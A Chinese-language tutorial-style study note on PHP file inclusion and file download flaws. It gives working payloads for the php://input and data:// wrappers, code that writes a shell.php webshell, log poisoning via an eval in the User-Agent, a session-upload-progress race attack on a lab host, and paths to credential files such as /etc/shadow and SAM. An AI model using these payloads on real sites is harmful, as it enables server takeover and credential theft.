文章目录
- 原理
- 文件包含函数
- 伪协议函数
- 本地包含
- file协议
- filter协议
- input协议
- data协议
- 远程文件包含
- 条件
- http协议
- 日志文件绕过
- 概念
- 日志路径
- 复现
- 文件包含之条件竞争
- 概念
- 靶场介绍
- 复现
- 文件下载
- 文件下载常见的目录
- 系统目录
- linux
- windows
- 程序配置文件
- apache
- nginx
- redis
- 目录遍历与目录穿越的区别
原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
文件包含函数
-
白盒
-
php:include,require,include_once,require_once,file_put_contents
- include函数在包含的过程中如果出现错误,就会抛出一个警告,程序继续运行
- require函数出现错误的时候,会直接报错并退出程序的执行
- file_put_contents(a,b)将b覆盖a
-
java:java.io.file,java.io.filereader等
-
asp .net: system.io.filestream, system.io.streamreader等
-
-
黑盒
- url中有path,dir,file,pag,page,asrchive,p,eng等相关字眼
伪协议函数
本地包含
-
file协议
-
payload:
?file=user.txt
-
-
filter协议
-
payload:
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=user.txt
-
-
input协议
-
payload
get:http://127.0.0.1/include.php?file=php://input //如果file过滤php,可以写Php poet:<?php phpinfo();?> 木马写入:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>
-
-
data协议
-
payload
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
-
payload
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //base64后面的符号要url编码1
-
远程文件包含
日志文件绕过
-
概念
- 我们访问每一个网站都会有日志留在服务器,这些日志消息通常会包含usergent头,这样我们就可以通过对usergent头传入恶意数据然后通过文件包含漏洞进行解析即可绕过
-
日志路径
- apache: /var/log/apache/access.log
- nginx: /var/log/nginx/access.log 和 /var/log/nginx/error.log
-
复现
-
随便访问,捉包,在usergent后面插入木马
-
<?php eval($_REQUEST['cmd']);?>
-
-
通过文件包含包含日志文件即可,?file=/var/log/nginx/access.log
-
文件包含之条件竞争
-
概念
- 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了
PHP_SESSION_UPLOAD_PROGRESS
特性,当 PHP 处理文件上传请求时,会短暂解锁会话文件,允许并发请求访问,攻击者利用这个窗口,发送包含恶意PHP_SESSION_UPLOAD_PROGRESS
字段的请求来达到任意命令执行的目的
- 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了
-
靶场介绍
-
网站
网站:http://43.139.186.80/1.php <?php if (isset($_GET['file'])) { $file = $_GET['file']; // $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); // $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); } else { highlight_file(__FILE__); } ?> 攻击者的网站: <!DOCTYPE html> <html>12 <body> <form action="http://43.139.186.80/1.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?> //记得form表单更换为上面的为受害者网站,value值为执行函数,目的是在当前网站下创建一个新的木马shell.php
-
-
复现
-
攻击者在自己的网站中上传任意文件,捉包,放到攻击者模块
-
在数据包中添加cookie和session字段
-
攻击模块配置如下
-
在进行访问缓存文件的数据包,http://43.139.186.80/1.php?file=C:\phpstudy_pro\Extensions\tmp\tmp\sess_exp,路径可以在phpinfo中的session.save_path值中找到,名称是sess_+你刚才写的名称,捉包,攻击模块配置和上面一样
-
同时发包,看返回的数据长度,出现数值不同说明攻击成功
-
文件下载
-
文件下载常见的目录
-
系统目录
-
linux
-
/etc/passwd //保存了系统中所有的用户信息 /etc/shadow //用户的密码信息 /root/.ssh/authorized_keys //公钥文件 /root/.bash_history //用户终端操作历史记录 /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 /usr/local/app/php5/lib/php.ini //php相关设置 /etc/httpd/conf/httpd.conf //apache /etc/php5/apache2/php.ini //ubuntu系统的默认路径
-
-
windows
-
C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //查看IIS虚拟主机配置文件 C:\windows\repair\sam //存储Windows系统初次安装的密码 C:\Program Files\mysql\my.ini //mysql配置,记录管理员登陆过的MYSQL用户名和密码 C:\Program Files\mysql\data\mysql\user.MYD //mysql.user表中的数据库连接密码 C:\windows\php.ini php.ini //php配置文件 C:\Windows\system.in //winnt的php配置信息 C:\Windows\win.ini //winnt的mysql配置文件 C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储虚拟主机网站路径和密码 C:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 C:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站resin文件配置信息. C:\Windows\System32\drivers\etc\hostswinserver //配置Telnet信息
-
-
-
程序配置文件
-
-
目录遍历与目录穿越的区别
-
目录遍历是指获取所有或单个网站目录结构
-
而目录穿越是指在本来的文件中返回到上一级文件夹中
*
-